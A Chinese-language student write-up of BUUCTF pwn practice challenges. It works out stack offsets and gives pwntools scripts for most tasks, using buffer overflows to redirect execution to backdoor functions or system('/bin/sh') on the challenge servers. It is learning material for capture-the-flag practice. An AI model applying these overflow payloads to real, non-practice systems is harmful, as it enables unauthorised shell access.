才知道,由于棧對齊,直接動調看棧估計會錯,用cyclic看
1.test_your_nc
NC連接一下,這個網站似乎直接訪問是不中的,懷疑是沒開啟web的端口。NC鏈接輸入cat flag就OK了,應該只是讓我這樣的小菜鳥培養自信用的。
2.rip
checksec后發現可以進行棧溢出操作。運行一下看看。直接就是讓輸入東西。進IDA看看。
果然有后門函數。顯然是ret2text類型,直接進行溢出即可。分析棧結構易知首先要溢出15+8個字節才可以到rip地方。
這是動調結果。看到-008那個地方村的實際上是字符串的結尾應該。看出其中距離80-70=16.但是實際上不應該是s占15嗎,我也是百思不得其解。回想起課程來看,應該是GDB本身的地址可能有時候有誤差,還是要結合IDA來看。
由于不擅長動調拿地址,這里就不獻丑了,再學習學習吧。看IDA是可以直接看出溢出的。
exp:
這里需要考慮站平衡,看有的人說是BUUCTF虛擬機的規定。我現在簡單的理解就是不破壞棧幀結構,即不要執行push之類的操作改變棧幀。
from pwn import *p=remote('node5.buuoj.cn',27494)payload=b'A'*(23)+p64(0x0401186)p.sendline(payload)p.interactive()
?3.warmup_csaw_2016
可以進行棧溢出,而且還是棧可執行!
看到后門函數,而且main函數執行完畢自動執行gets函數。現在就很明確了。
這次挑戰用動調拿到偏移量。看到0x61是我們輸入的a的ASCII碼,結合rax常用來儲存這類信息,很明確最后的gets函數輸入的內容就在這里了。那么我們就可以進行棧溢出,偏移量首先+64+8,最后溢出地址考慮一下站平衡即可。
exp:
from pwn import *p=remote('node5.buuoj.cn',27676)payload=b'A'*(64+8)+p64(0x00400611)p.sendline(payload)p.interactive()
4.ciscn_2019_n_1
看到了別人的博客,決定先解決這一道題。由于對動調還不熟練,所以我在IDA里面看了棧結構,同時注意到沒有開啟任何保護,發現可以進行棧溢出,應該是修改指定變量值為要求的即可。這里要注意一點,也是我出錯的地方,float類型不可以直接跟字符串,需要轉為16進制后用p64這個函數進行解決。
以下是常規思路(sendline會發送一個回車,表示輸出結束)
from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*0x2c+p64(0x41348000)
p.sendline(payload)
p.interactive()
還有一種方法,覆蓋EIP的值,直接跳轉到bin/sh,看看可以不。看圖,我們需要溢出到r,顯然需要將s也覆蓋了。看灰色地址,8是r的開始,所以我們要覆蓋上面的0x30和下面的8.返回地址恰好就是給system函數給參數的,見圖二
exp:
from pwn import *
p=remote('node5.buuoj.cn',26700)
payload=b'A'*56+p64(0x04006BE)
p.sendline(payload)
p.interactive()
5.pwn1_sctf_2016?
還是先檢查保護發現可以棧溢出。
調用了這一坨函數,看著很差勁。 讓豆包逐行解釋吧。最后也是勉強看懂一點點,這個里面的代碼豆包說也不符合規范什么的,勉強著看吧。
std::allocator
?是 C++ 標準庫中的一個模板類,定義在?<memory>
?頭文件中,主要用于為容器(如?std::vector
、std::list
?等)或其他需要動態內存分配的對象管理內存的分配和釋放。
這題也有后門函數,顯然是用棧溢出了,關鍵就是看fgets這個函數。我們IDA看棧幀,大膽推測只要一直往下溢出就行,看空間一共是0x3c,然后傳入返回地址。看樣子這樣做沒問題,試試吧。
從運行結果看,edata確實是緩沖區,但是估計地址計算出錯,動調看看即可。
rax這里存的是字符串。看樣子字符串距離ebp60,ebp自己是4,我們再次修改腳本運行看。還是錯誤的。估計還是拿錯地址了,我們繼續動調一次。這次讓他多運行幾行代碼。?
看樣子變化還是不多大,仔細想一想,難道是地址找錯了。?看一下其他人的WP吧。
從題海中入門(五)pwn1_sctf_2016 - FreeBuf網絡安全行業門戶
(buuctf) - pwn入門部分wp - rip -- pwn1_sctf_2016 - J1ay - 博客園
其實,replace函數實現了將I替換為you,這里可以后期動調得到。實際上,fgets函數已經限制了讀取的字節數,這可不像gets函數那樣危險!
接下來,我們開始編寫腳本。一個I會換成3個字節,60個字節除以3,就是20,也就是0x14!對于函數,還是看不太透徹,還需要多多練習。
exp:
from pwn import *p=remote('node5.buuoj.cn',29365)payload=b'I'*(0x14)+b'AAAA'+p32(0x08048F13)p.sendline(payload)p.interactive()
6.jarvisoj_level0?
咋一看感覺很簡單呀,這脆弱函數比上面的第五題容易多了。
exp:
from pwn import *p=remote('node5.buuoj.cn',29231)payload=b'I'*(128+8)+p64(0x040059A)p.sendline(payload)p.interactive()
7.[第五空間2019 決賽]PWN5
首先分析main函數。
注意看,解鎖/bin/sh必須保證4字節的數是對上號的。但是這四字節的數字我們并不知道,也不可能在人家服務器上動調獲得,那怎么辦嘛?
參考c929_bt大佬的博客(BUU:[第五空間2019 決賽]PWN5_buuctf 第五空間2019 pwn5-CSDN博客發現,原來可以利用棧溢出覆蓋這串數字。這樣就可以為我們所操控了。
恰好看棧結構,nptr在buf上面,所以我們溢出后也不影響nptr的輸入,真是美滋滋。推測4字節的Var_c是校驗值。整體思路是首先填充0x70-0xd個垃圾數據給buf,然后填充4個有效字符給校驗值,最后輸入對應的校驗值就可以了。現在開始寫腳本
首次嘗試發現不對,那說明我們的思路錯誤了。可能那個地方不是校驗值。
實際上有棧保護,無法溢出。
其實這里要用格式化字符串漏洞,詳見c929_bt大佬的博客BUU:[第五空間2019 決賽]PWN5_buuctf 第五空間2019 pwn5-CSDN博客??
8.?jarvisoj_level2
估計也可以棧溢出,進去看看。
這道題有意思,只給了system函數,參數卻不是/bin/sh,所以我們應該需要使用函數參數入棧的知識。ROPgadget我這邊掃不出來東西,那估計不是ROP。想想咋給/bin/sh入棧。。。
沒思路了,求救WP。以及參考了hello-ctf。發現其實32位ROP不需要pop鏈條。
BUUCTF—jarvisoj_level2 - 予柒 - 博客園
WP:在我的攻防世界BLOG里面有原題。
from pwn import *
p=remote('node5.buuoj.cn',28501)
sys=0x8048320
binsh=0x804A024
payload=b'a'*(0x88+0x4)+p32(sys)+b'aaaa'+p32(binsh)
p.sendline(payload)
p.interactive()
9.ciscn_2019_n_8?
思路同第四題。
from pwn import *
p=remote('node5.buuoj.cn',29557)
payload=b'A'*13*4+p64(0x11)
p.sendline(payload)
p.interactive()
10.bjdctf_2020_babystack
看樣子是棧溢出。 分析下列代碼可知,read會讀取我們輸入的指定字節的數據,這點就是突破,而程序已經有一個backdoor函數,只需要ret2text即可。發現IDA給的偏移量有一點問題,還是動調。
exp:
from pwn import *
p=remote('node5.buuoj.cn',28997)
addr=0x4006EA
payload=b'a'*24+p64(addr)
p.sendline('100')
p.sendline(payload)
p.interactive()
?